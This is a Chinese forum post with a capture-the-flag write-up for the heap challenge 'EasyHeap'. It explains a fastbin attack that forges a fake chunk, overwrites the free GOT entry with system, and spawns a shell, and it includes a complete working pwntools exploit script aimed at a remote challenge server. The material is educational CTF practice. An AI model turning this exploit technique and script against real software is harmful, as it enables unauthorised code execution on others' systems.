bnuzgn 发表于 2023-7-24 18:32

基础fastbin attack

本帖最后由 bnuzgn 于 2023-7-24 18:52 编辑

看了https://www.52pojie.cn/thread-1804736-1-1.html后有些点没想明白,自己做了一遍后也有了些收获。


题目:EasyHeap
前置知识:堆的结构:Allocated chunk、freed chunck、fastbin
题目信息:
64位、环境为ubuntu16、可以修改got表、无PIE
   
创建堆的过程没有漏洞(用的不是IDA,而是ghidra)   
编辑堆内容中并未重新分配新的堆,而是对原有的堆内容重新覆盖,只要新的size大于申请的size则可造成溢出。
   
l33t函数中直接可以读取flag,但是由于模拟环境改变后无法直接使用,因此需要自行构造shell。
   
解题思路

[*]我们的目的是:构造system("/bin/sh")并执行。
[*]任务困难点:在无法劫持PC的情况下,执行system函数。结合got表可修改的前提,则需要找可以使用的1参数的系统函数并劫持其got表指向system的plt表,就例如free(void * __ptr)。
[*]因此困难点变成了修改free的got表内容,需要从程序中利用漏洞找到一个修改指定指针的内容的方法。程序中可以符合条件的是read_input函数,而这个函数在创建堆和修改堆的函数中被使用,且修改的地址均为*(undefined8 *)(heaparray + (long)iVar1 * 8)即修改heaparry这个全局变量中用户申请的堆的地址,而这个堆只能在创建时或修改时才能修改其内容。
[*]困难点变成了将heaparray中保存的一个堆的地址变成free的got表。而申请的堆无法通过溢出来实现类似栈溢出的直接修改的效果,因此一般堆溢出会构造一个虚假的堆。
[*]我们可以在堆分配的空间中实现写入任意内容的效果,因此想要修改heaparray中的内容(就改heap0吧),就需要构造一个堆来将其包含在内,假堆结构的size与本身的数据开始地址极为重要,相加后的虚假堆空间需要覆盖想要修改的内容(参考解题关键步骤中的实例),这样才能在申请或者修改时完成对heaparray的覆盖。
[*]因此只要一个字节一个字节的向前找,就有可能找到符合条件的地址作为假堆的地址。
[*]结合fastbin的结构可以申请3个大小相同且在fastbin范围内的堆,先释放堆3,再修改堆2的内容造成溢出,修改已经释放堆3的fd指向虚假的堆地址,再申请一个跟堆3一样大小的堆,再申请一个等于堆2大小的堆,这个堆就被申请给了虚假堆,此时就可以用edit函数覆盖heaparray的值了。

解题关键步骤
申请三个堆并释放堆3时,顺着heaparray向前找可以构造下图中的fake heap
   
此时的堆的情况。
   
修改堆2并溢出后的情况:
   
wp
# -*- coding: utf-8 -*-
from pwn import*
context.log_level='debug'
context.arch='amd64'
context.os = "linux"
pc = "easyheap"
if __name__ == '__main__':
    local = sys.argv
    if local == '1':
      r= process(pc)
      elf = ELF(pc)
      libc = elf.libc
    else:
      r=remote("node4.buuoj.cn",28535)
      elf = ELF(pc)
      libc = elf.libc
sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
def db():
    gdb.attach(r)
    pause()
def dbs(src):
    gdb.attach(r, src)
def add(size,content):
    sla("Your choice :","1")
    sla("Size of Heap : ",str(size))
    sla("Content of heap:",content)
def delete(index):
    sla("Your choice :","3")
    sla("Index :",str(index))
def edit(index,content):
    sla("Your choice :","2")
    sla("Index :",str(index))
    sla("Size of Heap : ",str(len(content)))
    sa("Content of heap : ",content)
fakeHeapAddr = 0x006020ad
add(0x68,"a")
add(0x68,"a")
add(0x68,"a")
delete(2)   
#db()
edit(1,b"/bin/sh\x00"+b"\x00"*0x60+p64(0x71)+p64(fakeHeapAddr))
add(0x68,"a")
add(0x68,"a")
#db()
edit(3,b"\x00"*0x23+p64(elf.got["free"]))
edit(0,p64(elf.plt["system"]))
delete(1)
ti()

lduml 发表于 2023-7-26 11:10

学习了,mark{:1_921:}

mollykd 发表于 2023-7-26 16:47

学习就在当下,希望能跟上大家的脚步!
页: [1]
查看完整版本: 基础fastbin attack